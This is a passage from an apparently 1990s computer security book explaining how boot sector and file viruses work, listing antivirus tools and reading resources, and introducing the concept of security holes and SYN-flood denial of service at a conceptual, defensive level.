found online at \n• \nhttp://www.ans.net/InterLock/ \nBerkeley Software Design, Inc. \nBerkeley Software Design, Inc. released source code that will defeat a DoS attack. It can \nbe found online at \n• \nhttp://www.bsdi.com/press/19961002.html \nMCI Security \nMCI Security offers links relating to denial-of-service attacks, and can be found online at \n• \nhttp://www.security.mci.net/dosalert.html \nDigital \nDigital offers information on preventing DoS on the DEC platform, and can be found \nonline at \n• \nhttp://www.europe.digital.com/info/internet/document/ias/avoidtcps\nynattack.html \nCisco Systems \nCisco Systems offers solutions at the router level, and can be found online at \n• \nhttp://www.cisco.com/ \nViruses \nViruses are serious matters. For such small entities, they can wreak havoc on a computer \nsystem. (Some viruses are as small as 380 bytes.) They are especially dangerous when \nreleased into networked environments (the Internet being one such environment). \nViruses have gained so much attention in the computing community that nearly everyone \nknows that viruses exist. However, some users confuse viruses with other malicious files. \nTherefore, I thought it might be nice to quickly define the term computer virus. Once \nagain, if you are already well aware of these basic facts, skip ahead a few paragraphs. \nA computer virus is a program, sometimes (but not necessarily) destructive, that is \ndesigned to travel from machine to machine, \"infecting\" each one along the way. This \ninfection usually involves the virus attaching itself to other files. \n" }, { "page_number": 268, "text": " \n \nThis is markedly different from a trojan horse. A trojan horse is a static entity: malicious \ncode nested within an otherwise harmless program. Trojans cannot travel from machine \nto machine unless the file that contains the trojan also travels with it. A trojan is \ncommonly a string of computer code that has been surreptitiously placed within a trusted \napplication. That code performs an unauthorized and hidden function, one that the user \nwould almost certainly find objectionable. (For example, mailing out the password files \nto an attacker in the void, or perhaps opening a back door for him. A back door is some \nhidden method through which an attacker can later return to the affected machine and \ngain control over it.) \nViruses, in contrast, replicate. Most often, this phenomenon manifests itself by the virus \nattaching itself to a certain class of file. For example, it is very common for viruses to \nattach themselves to executable files. (On the DOS/Windows platform, viruses frequently \ntarget EXE and COM files.) Once the virus is attached to a file in this manner, the victim \nfile itself becomes a security risk. That file, when transported to another computer \nsystem, can infect still other files that may never come in contact with the original virus \nprogram. \n \nTIP: Note that data file viruses now exist. At least, macro viruses should (and usually \nare) classified under this heading. These viruses infect data files, namely documents. \nThese are almost nonexistent, save in the Microsoft Word and Excel environments. \n \nTry to think of a virus as a living creature for a moment. Its purpose is to infect computer \nsystems, so it stays awake at all times, listening for activity on the system. When that \nactivity fits a certain criterion (for example, an executable file executing), the virus jumps \ninto action, attaching itself to the active program. \n \nTIP: One way to tell whether a file is infected is to check its current size against the size \nit was when you installed it. (I wouldn't recommend using this as a method of identifying \ninfected files, but if you find such a file using a virus checker, note the size. When you \nmatch it against the original size of the file, you will see that the file is now larger.) By \nsubtracting the size of the virus from the file's size, you will be left with the approximate \noriginal size of the file (before it was infected). \n \nIf you have ever encountered a virus, you might have noticed that they are incredibly \nsmall (that is, for a program that can do so much). There is a good reason for this. Most \nviruses are written in a language called assembly language. Assembly language is \nclassified in the computing community as a low-level language, meaning that it produces \nvery small programs. \nTo understand what I mean by \"low-level,\" consider this: Computers have become quite \nuser friendly. Today, advanced technologies allow a user to almost \"talk\" to a machine \nand get suitable answers. (Consider, for example, the new Answer wizards in Microsoft \nproducts. You can basically type out a question in plain English. The internal program \nroutines parse your question and search the database, and out comes the answer.) This is \nquite a parlor trick, and gives the illusion that the machine is conversing with you. \n" }, { "page_number": 269, "text": " \n \nIn reality, computers speak a language all their own. It is called machine language, and it \nconsists of numbers and code that are unreadable by a human being. The classification of \na \"low\" or \"high\" language depends solely on how close (or how far) that language is \nfrom machine language. A high- or medium-level language is one that involves the use of \nplain English and math, expressed much in the same manner as you might present it to a \nhuman being. BASIC, Pascal, and the C programming language all fit into the medium-\nlevel class of language: You can \"tell\" the machine what each function is, what it does, \nand how it does it. \nAssembly language is only one step removed from machine language and is therefore a \nvery low-level language. And, because it speaks so directly to the machine's hardware, \nthe resulting programs are very small. (In other words, the translation process is minimal. \nThis is greatly different from C, where substantial translation must occur to get the plain \nEnglish into machine-readable code. The less translation that has to be done, the smaller \nthe binary that results.) \n \nCross Reference: If you want to learn more about Assembly Language, there is an \nexcellent page on the Web that sports a search engine through which you can incisively \nsearch terms, functions and definitions. That site is \nhttp://udgftp.cencar.udg.mx/ingles/tutor/Assembler.html. \n \nPrograms written in assembly language execute with great speed, often many times faster \nthan those written in higher-level languages. So, viruses are small, fast, and, to users who \nare unprepared, difficult to detect. \nThere are many different types of viruses, but one of the most critical is the boot sector \nvirus. To get you started on understanding how viruses work, I have picked the boot \nsector virus as a model. \nMany users are unaware of how their hard disk drive works in conjunction with the rest \nof the system. I want to explore that process for just a moment. Please examine Figure \n14.6. \nFigure 14.6. \nLocation of the master boot record. \nHard disks drives rely upon data stored in the master boot record (MBR) to perform basic \nboot procedures. The MBR is located at cylinder 0, head 0, sector 1. (Or, Logical Block \nAddress 0. LBA methods of addressing vary slightly from conventional addressing; \nSector 1=LBA 0.) \nFor such a small area of the disk, the MBR performs a vital function: It explains the \ncharacteristics of the disk to every other program that happens by. To do this, it stores \ninformation regarding the structure of the disk. This information is referred to as the \npartition table. \n \nNOTE: If this sounds confusing, think about when you partition a disk. DOS/Windows \nusers do this using a program called FDISK.EXE. UNIX users also have several similar \nutilities, including fdisk, cfdisk, and so on. Before partitioning a disk, it is \n" }, { "page_number": 270, "text": " \n \ncustomary to examine the partition table data. (At least, you will if you want to be safe!) \nThese programs read the partition information from the MBR partition table. This \ninformation characteristically tells you how many partitions there are, their size, and so \nforth. (UNIX users will even see the type of partition. DOS/Windows users cannot \nidentify partitions not commonly used on the AT platform. Whenever these are present, \nthe type is listed as UNKNOWN.) \n \nWhen a machine boots up, it proceeds, assuming that the CMOS settings are correct. \nThese values are read and double-checked. If it finds that the default boot disk is actually \n1GB when the BIOS settings suggest 500MB, there will be a problem. (The machine will \nnot boot, and an error message will be generated.) Similarly, the RAM is tested for bad \nmemory addresses. Eventually, when no errors have been encountered, the actual boot \nprocess begins. At that stage, the MBR takes the helm and the disk boots. When the boot \nsector has been infected by a virus, a critical situation develops. \nAs explained by the specialists at McAfee, the leading virus protection vendor: \nMaster Boot Record/Boot Sector (MBR/BS) infectors are those viruses that infect the MBR and/or \nboot sector of hard drives and the boot sector of floppy diskettes. These viruses are the most \nsuccessful viruses in the world. This is because they are fairly simple to write, they take control of \nthe machine at a very low level, and are often \"stealthy.\" Eighty percent of the calls McAfee \nSupport receives are on this type of virus. \n \nCross Reference: The previous paragraph is excerpted from an article titled \"Top Master \nBoot Record/Boot Sector Infecting Viruses,\" produced by McAfee Associates. This paper \ncan be found online at \nhttp://www.mcafee.com/support/techdocs/vinfo/1101.html. \n \nMBR viruses are particularly insidious because they attack floppy disks whenever they \nare accessed by your machine. It is for this reason that MBR viruses are so commonly \nseen in the wild--because they infect floppies, they can travel from machine to machine \nfairly easily. \nIn any event, assume for the moment that you have a \"clean\" MBR. How does a virus \nmanage to infect it? The infection process happens when you boot with an infected \nfloppy diskette. Consider this situation: You decide that you are going to load a new \noperating system onto the drive. To do this, you use a boot floppy. (This boot floppy will \ncontain a small boot routine that guides you through the installation.) Fine. Take a look at \nFigure 14.7. \nFigure 14.7. \nThe infection illustrated. \nDuring the boot process, the virus loads itself into memory, although generally not the \nupper memory. In fact, very few viruses are known to reside in upper memory. When one \ndoes, it is usually because it has piggybacked its way there; in other words, it has attached \nitself to an executable or a driver that always loads high. This is rare. \nOnce loaded into memory, the virus reads the MBR partition information. In some cases, \nthe virus programmer has added a routine that will check for previous infection of the \nMBR. It checks for infection not only by his own virus, but by someone else's as well. \n" }, { "page_number": 271, "text": " \n \nThis procedure is usually limited in scope, because the programmer wants to save \nresources. A virus that could check for many other viruses before installing would \ncharacteristically be larger, more easily detected, less easily transmitted, and so forth. In \nany event, the virus then replaces the MBR information with its own, modified version. \nThe installation procedure is complete. \n \nNOTE: The majority of boot sector viruses also contain some provision for storing the \noriginal MBR elsewhere on the drive. There is a good reason for this. It isn't because the \nvirus programmer is a nice person and intends to eventually return the MBR to its \noriginal state. Rather, it is because he has to. Many important functions require that the \nMBR be read on initialization. Typically, a virus will keep a copy of the original and \noffer it up whenever other processes request it. In this way, the virus remains hidden \nbecause these functions are never alerted to the fact that the MBR was in any way altered. \nSneaky, right? When this technique is used correctly, it is referred to as stealth. \n \nI have personal experience with just such a virus, called antiexe. A friend came to my \noffice so I could assist him in preparing a presentation. He brought with him a small \nlaptop that had been used at his company. Apparently, one of the employees had been \nplaying a game on the laptop that required a boot disk. (Some games have strange \nmemory-management routines that are not compatible with various user configurations. \nThese typically request that you generate a boot disk and undertake other annoying \nprocedures.) Through a series of unfortunate events, this virus was transferred from that \nlaptop to one of my machines. The curious thing is this: I did have a terminate-and-stay-\nresident (TSR) virus checker installed on the infected machine. This was a well-known \nproduct, but I will not mention its name here lest I cause a panic. For some inexplicable \nreason, the TSR virus checker did not catch antiexe when it infected my MBR, but only \nafter the machine was rebooted a day or so later. At any rate, I woke to find that my \nmachine had been infected. Antiexe is described in the CIAC database as follows: \nThe virus hides in the boot sector of a floppy disk and moves the actual boot sector to cyl: 0, side: \n1, sector: 15. On the hard disk, the virus infects the partition table, the actual partition table is on \ncyl: 0, side: 0, sector: 13. These are normally unused sectors, so disk data is not compromised by \nthe virus insertion. The virus uses stealth methods to intercept disk accesses for the partition table \nand replaces them with the actual partition table instead of the virus code. You must boot a system \nwithout the virus in memory to see the actual virus code. \nIt was no problem to eliminate the virus. The same product that initially failed to detect \nantiexe destroyed it without event. The time I lost as a result was minimal. \nMost viruses do not actually destroy data; they simply infect disks or files. There are, \nhowever, many occasions on which infection alone is enough to disrupt service; for \nexample, some drivers operate erratically when infected. This is not to say, however, that \nthere are no destructive viruses. \nWho writes viruses? Many different types of programmers from many different walks of \nlife. Kids are a common source. There are kits floating around on the Internet that will \nassist budding programmers in creating viruses. It has been theorized that young people \nsometimes write viruses to \"make their mark\" on the computing communities. Because \nthese young people do not actually work in computer programming, they figure that \nwriting a virus is one way to make a name for themselves. (A good percentage of virus \n" }, { "page_number": 272, "text": " \n \nauthors take a pseudonym or \"handle\" and write under that. This moniker is sometimes \nfound within the code of the virus.) \n \nCross Reference: There is a fascinating paper on the Internet regarding the rise of virus- \ndevelopment groups in Eastern Europe that describes how the virus took these \nprogramming communities by storm. Ultimately, bulletin board systems were established \nwhere virus authors could exchange code and ideas. The paper is extremely thorough and \nmakes for absorbing reading, giving a bird's eye view of virus development in a \nnoncapitalist environment. It is called \"The Bulgarian and Soviet Virus Factories\"; it was \nwritten by Vesselin Bontchev, Director of the Laboratory of Computer Virology at the \nBulgarian Academy of Sciences in Sofia, Bulgaria. The paper can be found at \nhttp://www.drsolomon.com/ftp/papers/factory.txt. \n \nOne interesting aspect of the virus-writing community is that vanity, envy, and fierce \ncompetition often influence the way such viruses are written. For example: \nSome computer viruses are designed to work not only in a \"virgin\" environment of infectable \nprograms, but also on systems that include anti-virus software and even other computer viruses. In \norder to survive successfully in such environments, those viruses contain mechanisms to disable \nand/or remove the said anti-virus programs and \"competitor\" viruses. Examples for such viruses in \nthe IBM PC environment are Den_Zuko (removes the Brain virus and replaces it with itself), \nYankee_Doodle (the newer versions are able to locate the older ones and \"upgrade\" the infected \nfiles by removing the older version of the virus and replacing it with the newer one), Neuroquila \n(disables several anti-virus programs), and several other viruses. \n \nCross Reference: The preceding paragraph is excerpted from an article by Vesselin \nBontchev (a research associate at the Virus Test Center at the University of Hamburg) \ntitled \"Are `Good' Computer Viruses Still a Bad Idea?\" This paper can be found online at \nhttp://www.virusbtn.com/OtherPapers/GoodVir/. \n \nAs I have already noted, many programmers develop viruses using virus kits, or \napplications that are designed specifically to generate virus code. These kits are \ncirculated on the Internet. Here are the names of a few: \n• \nVirus Creation Laboratories \n• \nVirus Factory \n• \nVirus Creation 2000 \n• \nVirus Construction Set \n• \nThe Windows Virus Engine \nThese kits are usually quite easy to use, thereby allowing almost anyone to create a virus. \n(This is in contrast to the \"old days,\" when advanced programming knowledge was \nrequired.) This has resulted in an increase in viruses in the wild. \n \nNOTE: A virus is deemed in the wild when it has escaped or been released into the \ngeneral population. That is, the wild refers to any computing environment outside the \nacademic or development environment where the virus was created and tested. This term \nis purportedly derived from lingo used in reference to environments where biological \nwarfare experiments are conducted. These studies are typically conducted under \n" }, { "page_number": 273, "text": " \n \ncontrolled circumstances, where no danger is posed to the surrounding communities. \nHowever, when a biological virus escapes its controlled environment, it is deemed to \nhave entered the wild. Today, computer virus researchers refer to the Internet (or any \npublicly accessible computing environment) as the wild. \n \nReportedly, the first virus ever detected in the wild emerged in 1986. It was called the \nBrain virus. According to the CIAC Virus Database at the U.S. Department of Energy, \nthe Brain virus was a memory-resident boot sector virus: \nThis virus only infects the boot sectors of 360 KB floppy disks. It does no malicious damage, but \nbugs in the virus code can cause loss of data by scrambling data on diskette files or by scrambling \nthe File Allocation Table. It does not tend to spread in a hard disk environment. \nThe following year brought with it a host of different viruses, including some that did \nactual damage. The Merrit virus (which emerged in 1987) could destroy the file \nallocation table (FAT) on a floppy disk. This virus apparently went through several stages \nof evolution, the most dangerous of which was a version called Golden Gate. Golden \nGate reportedly could reformat the hard disk drive. \nSince then, innovations in virus technology have caused these creatures to become \nincreasingly complex. This has led to classifications. For example, there are basically \nthree types of virus: \n• \nMaster boot sector viruses \n• \nBoot sector viruses \n• \nFile viruses \nI have already briefly examined a MBR virus in this chapter. The only material difference \nbetween that type and a garden-variety boot sector virus is that boot sector viruses target \nfloppies. However, the third class of virus (the file virus) is a bit different. In contrast to \nboot sector viruses (which attack only a small portion of the disk), file viruses can spread \nsystemwide. \nMost often, file viruses infect only a particular class of file--usually executable files. \nCOM and EXE files are good examples. File viruses, however, are not restricted to \nexecutables; some will infect overlay files (OVL) or even system driver files (SYS, \nDRV). \n \nNOTE: Do you remember that I explained that viruses are rarely found in upper \nmemory? When such viruses are found, they are usually riding on a driver, such as a SYS \nor DRV file. PC users who worked extensively with the DOS/Windows combination will \nremember various drivers that required an upper-memory load. \n \nIt is estimated that there are currently more than 7,000 file viruses on the DOS platform \nalone. As you might expect, virus authors are eager to write file viruses because of how \nfar these can spread. Given 10 days on a computer system, a file virus can effectively \ninfect the majority (or perhaps even all) of the executable files on the hard disk drive. \nThis is due to the manner in which file viruses operate. (See Figure 14.8.) \n" }, { "page_number": 274, "text": " \n \nFigure 14.8. \nNormal operation and execution of a program. \nUnder normal operations (on a noninfected machine), a command is executed and loaded \ninto memory without event. (This could equally be a COM file. In Figure 14.8, I just \nhappened to have used the .EXE extension.) When a file virus is present, however, the \nprocess is complicated because the virus now intercepts the call. (See Figure 14.9.) \nFigure 14.9. \nLoading a program with a file virus present. \nFirst, the virus temporarily intercepts the process for long enough to infect the program \nfile. After infecting the program file, the virus releases its control over the system, \nreturning the reins to the operating system. The operating system then loads the infected \nfile into memory. This process will be repeated for each file loaded into the system \nmemory. Stop and think for a moment about this. How many files are loaded into \nmemory in the course of a business day? This is how file viruses ultimately achieve \nsystemic infection of the system. \nIn addition to the classifications of viruses, there are also different types of viruses. These \ntypes are derived from the manner in which the virus operates or what programming \ntechniques were employed in its creation. Here are two: \n• \nStealth viruses use any of a number of techniques to conceal the fact that the drive has been \ninfected. For example, when the operating system calls for certain information, the stealth virus \nresponds with that information as it was prior to infection. In other words, when the infection first \noccurs, the virus records the information necessary to later fool the operating system (and virus \nscanners). \n• \nPolymorphic viruses are a relatively new phenomenon, and they are infinitely more complex than \ntheir counterparts. Polymorphic viruses can change, making them more difficult to identify. There \nhave been instances of a polymorphic virus using advanced encryption techniques. This amounts \nto a signature that may change. This process of changing is called mutation. In mutation, the virus \nmay change its size and composition. Because virus scanners most often search for known patterns \n(by size, checksum, date, and so forth), a well-crafted polymorphic virus can evade detection. To \ncombat this new technique, virus specialists create scanners that can identify encryption patterns. \nVirus technology continues to increase in complexity, largely due to the number of new \nviruses that are discovered. The likelihood of contracting a virus on the Internet is slim, \nbut not impossible. It depends on where you go. If you are an individual and you frequent \nthe back alleys of the Internet, you should exercise caution in downloading any file \n(digitally signed or otherwise). Usenet newsgroups are places where viruses might be \nfound, especially in those newsgroups where hot or restricted material is trafficked. \nExamples of such material include warez (pirated software) or pornography. I would \nstrongly caution against downloading any zipped or archived file from groups trafficking \nthis type of material. Similarly, newsgroups that traffic cracking utilities are suspect. \nIf you are a system administrator, I have different advice. First, it is true that the majority \nof viruses are written for the IBM-compatible platforms (specifically, platforms on which \nusers run DOS, Windows, Windows NT, and Windows 95). If your network is composed \n" }, { "page_number": 275, "text": " \n \nof machines running these operating systems and you offer your users access to the \nInternet, you have a problem. \nThere is no reliable way to restrict the types of files that your users download. You can \ninstitute policies that forbid all downloads, and your users will probably still download a \nfile here and a file there. Human nature is just that way. Therefore, I would recommend \nthat you run memory-resident virus scanners on all machines in the domain, 24 hours a \nday. (At the end of this section, you will find some resources for obtaining such \nproducts.) \nTo learn more about how viruses work, you should spend some time at a virus database \non the Internet. There are several such databases that provide exhaustive information on \nknown viruses. The most comprehensive and useful site I have ever found is at the \nDepartment of Energy. \n \nCross Reference: Find the Department of Energy site online at \nhttp://ciac.llnl.gov/ciac/CIACVirusDatabase.html. \n \nThe list is presented in alphabetical order, but can be traversed by searching for platform. \nYou will instantly see that most viruses were written for the Microsoft platform, and the \nmajority of those for DOS. What you will not see are any known in-the-wild viruses for \nUNIX. However, by the time this book is printed, such information may be available. \nThere is talk on the Internet of a virus for the Linux platform called Bliss. \nReports on Bliss at the time of this writing are sketchy, but it appears that Bliss is a virus. \nThere is some argument on the Internet as to whether Bliss qualifies more as a trojan, but \nthe majority of reports suggest otherwise. Furthermore, it is reported that it compiles \ncleanly on other UNIX platforms. \n \nCross Reference: The only known system tool that checks for Bliss infection was \nwritten by Alfred Huger and is located online at \nftp://ftp.secnet.com/pub/tools/abliss.tar.gz. \n \nIt is extremely unlikely that your box would be infected. The author of the program took \nsteps to prevent all but experienced programmers from unpacking and using this virus. \nHowever, if you should discover that your machine is infected with this new virus, you \nshould immediately submit a report to Usenet and several bug lists, describing what, if \nany, damage has been done to your system. \nI would like to explain why the majority of viruses are written for personal computer \nplatforms and not for UNIX, for example. In UNIX (and also in Windows NT), great \ncontrol can be exercised over who has access to files. Restrictions can be placed on a file \nso that user A can access the file but user B cannot. Because of this phenomenon (called \naccess control), viruses would be unable to travel very far in such an environment. They \nwould not, for example, be able to cause a systemic infection. \n" }, { "page_number": 276, "text": " \n \nIn any event, viruses do represent a risk on the Internet. That risk is obviously more \nrelevant to those running DOS or any variant of Windows. Following are some tools to \nkeep your system safe from virus attack. \nVirus Utilities \nFollowing is a list of well-known and reliable virus-detection utilities. I have experience \nusing all the entries in this list, and can recommend every one. However, I should stress \nthat just because a utility is absent from this list does not mean that it isn't good. \nHundreds of virus-detection utilities are available on the Internet. Most of them employ \nsimilar techniques of detection. \nVirusScan for Windows 95 \nVirusScan for Windows 95 by McAfee can be found online at \n• \nhttp://www.mcafee.com \nThunderbyte Anti-Virus for Windows 95 \nThunderbyte Anti-Virus for Windows 95 can be found online at \n• \nhttp://www.thunderbyte.com \nNorton Anti-Virus for DOS, Windows 95, and Windows NT \nNorton Anti-Virus for DOS, Windows 95, and Windows NT by Symantec can be found \nonline at \n• \nhttp://www.symantec.com/avcenter/index.html \nViruSafe \nViruSafe by Eliashim can be found online at \n• \nhttp://www.eliashim.com/ \nPC-Cillin II \nPC-Cillin II by Check-It can be found online at \n• \nhttp://www.checkit.com/tshome.htm \nFindVirus for DOS v. 7.68 \nDr. Solomon's FindVirus for DOS version 7.68 can be found online at \n• \nhttp://www.drsolomon.com/ \nSweep for Windows 95 and Windows NT \nSweep for Windows 95 and Windows NT by Sophos can be found online at \n" }, { "page_number": 277, "text": " \n \n• \nhttp://www.sophos.com/ \nIris Antivirus Plus \nIris Antivirus Plus by Iris Software can be found online at \n• \nhttp://www.irisav.com/ \nLANDesk Virus Protect v4.0 for NetWare and Windows NT \nLANDesk Virus Protect version 4.0 for NetWare and Windows NT by Intel can be found \nonline at \n• \nhttp://www.intel.com/comm-net/sns/showcase/netmanag/ld_virus/ \nNorman Virus Control \nNorman Virus Control by Norman Data Defense Systems can be found online at \n• \nhttp://www.norman.com/ \nF-PROT Professional Anti-Virus Toolkit \nF-PROT Professional Anti-Virus Toolkit by DataFellows can be found online at \n• \nhttp://www.DataFellows.com/ \nThe Integrity Master \nThe Integrity Master by Stiller Research can be found online at \n• \nhttp://www.stiller.com/stiller.htm \nThere are quite literally hundreds of virus scanners and utilities. I have mentioned these \nprimarily because they are easily available on the Internet and because they are updated \nfrequently. This is an important point: Viruses are found each day, all over the world. \nBecause virus authors continue to churn out new works (and these often implement new \ntechniques, including stealth), it is imperative that you get the very latest tools. \nConversely, perhaps you have some old machines lying around that run early versions of \nthis or that operating system. On such systems, you may not be able to run Windows 95 \nor Windows NT software. To present you with a wide range of choices, I suggest that you \ngo to one of the following sites, each of which has many, many virus utilities: \nThe Simtel.Net MS-DOS Collection at the OAK Repository \nThe Simtel.Net MS-DOS collection at the OAK repository offers virus detection and \nremoval programs. This site is located online at \n• \nhttp://oak.oakland.edu/simtel.net/msdos/virus.html \nThe Simtel.Net Windows 3.x Collection at the OAK Repository \n" }, { "page_number": 278, "text": " \n \nThe Simtel.Net Windows 3.x collection at the OAK repository offers virus detection and \nremoval programs. This site is located online at \n• \nhttp://oak.oakland.edu/simtel.net/win3/virus.html \nSummary \nDestructive devices are of significant concern not only to those running Internet \ninformation servers, but to all users. Many people find it hard to fathom why anyone \nwould create such programs, especially because data is now so heavily relied on. This is a \nquestion that only virus writers can answer. In any event, every user (particularly those \nwho use the Internet) should obtain a basic education in destructive devices. If you are \nnow using the Internet, it is very likely that you will eventually encounter such a device. \nFor this reason, you must observe one of the most important commandments of computer \nuse: back up frequently. If you fail to observe this, you may later suffer serious \nconsequences. \nResources \nThe following is a list of articles, books, and Web pages related to the subject of \ncomputer viruses. Some of the books are a bit dated, but are now considered standards in \nthe field. \nRobert Slade's Guide to Computer Viruses : How to Avoid Them, How to Get Rid \nof Them, and How to Get Help (Second Edition). Springer. 1996. ISBN 0-387-94663-\n2. \nVirus: Detection and Elimination. Rune Skardhamar. AP Professional. 1996. ISBN 0-\n12-647690-X. \nThe Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle. 1995. \n1996 Computer Virus Prevalence Survey. NCSA National Computer Security \nAssociation. (Very good.) \nThe Computer Virus Crisis. Fites, Johnson, and Kratz. Van Nostrand Reinhold \nComputer Publishing. ISBN 0-442-28532-9. 1988. \nComputer Viruses and Related Threats: a Management Guide. National Technical \nInformation Service (NTIS). PB90-115601CAU. \nA Passive Defense Against Computer Viruses. Frank Hoffmeister. Proceedings of the \nIASTED International Symposium Applied Informatics. pp. 176-179. Acta Press. 1987. \nPC Security and Virus Protection: the Ongoing War Against Information Sabotage. \nPamela Kane. M&T Books. ISBN 1-55851-390-6. 1994. \nHow Prevalent are Computer Viruses? Jeffrey O. Kephart and Steve R. White. \nTechnical Report RC 17822 No78319. Watson. 1992. \n" }, { "page_number": 279, "text": " \n \nA Short Course on Computer Viruses (Second Edition). Frederick B. Cohen. Series \ntitle: Wiley Professional Computing. John Wiley & Sons. 1994. ISBN 1-471-00769-2 \nA Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. ISBN 0-387-\n19610-2; 3-540-19610-2. 1992. \nThe Virus Creation Labs: A Journey into the Underground. George Smith. American \nEagle Publications. ISBN 0-929408-09-8. Also reviewed in Net Magazine, February \n1996. \nViruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus Bulletin. \nAbingdon Science Park, England. \n• \nhttp://www.virusbtn.com/VBPapers/Ivpc96/ \nComputer Virus Help Desk. Courtesy of the Computer Virus Research Center. \nIndianapolis, Indiana. \n• \nhttp://iw1.indyweb.net/~cvhd/ \nEuropean Institute for Computer Anti-Virus Research. \n• \nhttp://www.eicar.com/ \nFuture Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. University of \nHamburg. \n• \nhttp://www.virusbtn.com/OtherPapers/Trends/ \nA Biologically Inspired Immune System for Computers. Jeffrey O. Kephart. High \nIntegrity Computing Laboratory, IBM. Thomas J. Watson Research Center. \n• \nhttp://www.av.ibm.com/InsideTheLab/Bookshelf/ScientificPapers/Keph\nart/ALIFE4/alife4.distrib.html \nDr. Solomon's Virus Encyclopedia. \n• \nhttp://www.drsolomon.com/vircen/enc/ \nAn Overview of Computer Viruses in a Research Environment. Matt Bishop. \nWashington, D.C.: National Aeronautics and Space Administration. Springfield, Va. \nDistributor: National Technical Information Service. 1991. \n• \nhttp://cmc.psi.net/spart/papers/virus/mallogic.ps \nInternet Computer Virus and the Vulnerability of National Telecommunications \nNetworks to Computer Viruses. Jack L. Brock. November 1988. GAO/T-IMTEC-89-\n10, Washington, D.C., 20 July 1989. Testimonial statement of Jack L. Brock, Director, U. \nS. Government Information before the Subcommittee on Telecommunications and \nFinance, Committee on Energy and Commerce, House of Representatives. \n" }, { "page_number": 280, "text": " \n \nA Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk and L. E. \nBassham. National Institute of Standards and Technology Computer Security Division. \n• \nhttp://csrc.ncsl.nist.gov/nistpubs/select/ \n" }, { "page_number": 281, "text": " \n \n15 \nThe Hole \nThis chapter amounts to easy reading. Its purpose is to familiarize you with holes: where \nthey come from, what they are, and how they affect Internet security. This is important \ninformation because throughout the remainder of this book, I will be examining many \nholes. \nThe Concept of the Hole \nBefore I examine different types of holes, I'd like to define the term hole. A hole is any \nfeature of hardware or software that allows unauthorized users to gain access or increase \ntheir level of access without authorization. I realize this is a broad definition, but it is \naccurate. A hole could be virtually anything. For example, many peculiarities of \nhardware or software commonly known to all users qualify as holes. One such peculiarity \n(perhaps the most well known)is that CMOS passwords on IBM compatibles are lost \nwhen the CMOS battery is shorted, disabled, or removed. Even the ability to boot into \nsingle-user mode on a workstation could be classified as a hole. This is so because it will \nallow a malicious user to begin entering interactive command mode, perhaps seizing \ncontrol of the machine. \nSo a hole is nothing more than some form of vulnerability. Every platform has holes, \nwhether in hardware or software. In short, nothing is absolutely safe. \n \nNOTE: Only two computer-related items have ever been deemed completely hole free \n(at least by national security standards). One is the Gemini processor, manufactured by \nGemini Computers. It has been evaluated as in the A1 class on the NSA's Evaluated \nProducts List. It is accompanied by only one other product in that class: the Boeing MLS \nLAN (Version 2.1). Check out both products at \nhttp://www.radium.ncsc.mil/tpep/epl/. \n \nYou might draw the conclusion that no computer system is safe and that the entire Net is \nnothing but one big hole. That is incorrect. Under the circumstances, you should be \nwondering why there aren't more holes. Consider that the end-user never takes much time \nto ponder what has gone into making his system work. Computer systems (taken \nholistically) are absolute wonders of manufacturing. Thousands of people are involved in \ngetting a computer (regardless of platform) to a retail location. Programmers all over the \nworld are working on applications for any given platform at any given time. Everyone \nfrom the person who codes your calendar program to the dozen or so folks who design \nyour firewall are all working independently. Under these circumstances, holes should be \neverywhere; but they aren't. In fact, excluding holes that arise from poor system \nadministration, security is pretty good. The problem is that crackers are also good. \nThe Vulnerability Scale \n" }, { "page_number": 282, "text": " \n \nThere are different types of holes, including \n• \nHoles that allow denial of service \n• \nHoles that allow local users with limited privileges to increase those privileges without \nauthorization \n• \nHoles that allow outside parties (on remote hosts) unauthorized access to the network \nThese types of holes and attacks can be rated according to the danger they pose to the \nvictim host. Some represent significant dangers that can destroy the target; others are less \nserious, qualifying only as nuisances. Figure 15.1 shows a sort of \"Internet Richter scale\" \nby which to measure the dangers of different types of holes. \nFIGURE 15.1. \nThe holes index: dangers that holes can pose. \nHoles That Allow Denial of Service \nHoles that allow denial of service are in category C, and are of low priority. These attacks \nare almost always operating-system based. That is, these holes exist within the \nnetworking portions of the operating system itself. When such holes exist, they must \ngenerally be corrected by the authors of the software or by patches from the vendor. \nFor large networks or sites, a denial-of-service attack is of only limited significance. It \namounts to a nuisance and no more. Smaller sites, however, may suffer in a denial-of-\nservice attack. This is especially so if the site maintains only a single machine (and \ntherefore, a single mail or news server). Chapters 3, \"Hackers and Crackers,\" and 8, \n\"Internet Warfare,\" provide examples of denial-of-service attacks. These occur most \noften in the form of attacks like syn_flooding. An excellent definition of denial-of-service \nattacks is given in a popular paper called \"Protecting Against TCP SYN Denial of \nService Attacks\": \nDenial of Service attacks are a class of attack in which an individual or individuals exploit aspects \nof the Internet Protocol suite to deny other users of legitimate access to systems and information. \nThe TCP SYN attack is one in which connection requests are sent to a server in high volume, \ncausing it to become overwhelmed with requests. The result is a slow or unreachable server, and \nupset customers. \n \nCross Reference: Check out \"Protecting against TCP SYN Denial of Service Attacks\" \nonline at http://www.proteon.com/docs/security/tcp_syn.htm. \n \nThe syn_flooder attack is instigated by creating a high number of half-open connections. \nBecause each connection opened must be processed to its ultimate conclusion (in this \ncase, a time-out), the system is temporarily bogged down. This appears to be a problem \ninherent in the design of the TCP/IP suite, and something that is not easily remedied. As a \nCERT advisory on this subject notes: \nThere is, as yet, no generally accepted solution to this problem with the current IP protocol \ntechnology. However, proper router configuration can reduce the likelihood that your site will be \nthe source of one of these attacks. \n" }, { "page_number": 283, "text": " \n \nThis hole, then, exists within the heart of the networking services of the UNIX operating \nsystem (or nearly any operating system running full-fledged TCP/IP over the Internet). \nThus, although efforts are underway for fixes, I would not classify this as a high priority. \nThis is because in almost all cases, denial-of-service attacks represent no risk of \npenetration. That is, crackers cannot harm data or gain unauthorized levels of privilege \nthrough these means; they can just make themselves nuisances. \n \nCross Reference: Good papers available on the Net can give you a clearer picture of \nwhat such a denial-of-service attack entails. One is \"Security Problems in the TCP/IP \nProtocol Suite\" by Steve Bellovin, which appeared in Computer Communication Review \nin April 1989. Find it at \nftp://research.att.com/dist/internet_security/ipext.ps.Z. \n \nAlthough UNIX is notorious for being vulnerable to denial-of-service attacks, other \nplatforms are not immune. For example, as I will discuss in Chapter 16, \"Microsoft,\" it 